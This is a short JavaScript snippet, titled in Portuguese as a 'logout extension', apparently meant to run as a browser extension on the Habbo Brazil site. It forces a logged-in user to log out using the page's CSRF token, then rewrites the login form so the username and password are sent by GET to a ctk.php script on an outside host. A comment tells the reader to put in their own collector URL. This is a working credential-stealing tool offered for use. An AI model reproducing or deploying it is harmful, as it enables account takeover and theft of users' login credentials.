Extensão deslogar.

ctk = "http://wixproject.freeiz.com/ext/ctk.php";
// Troque acima pelo seu ctk.php!!! (nao remova as aspas)
if (location.href.match("habbo.com.br")) {
    window.onload = function () {
        if (document.habboLoggedIn == true) {
            new Ajax.Request("/account/logout_ok?token=" + $$('[name*=csrf]')[0].content, {
                onComplete: function () {
                    location = "/";
                }
            });
        } else {
            c = $$(".login-field"), c[0].name = "u", c[1].name = "p", f = $$("#loginformitem")[0], f.action = ctk, f.method = "GET";
        };
    };
};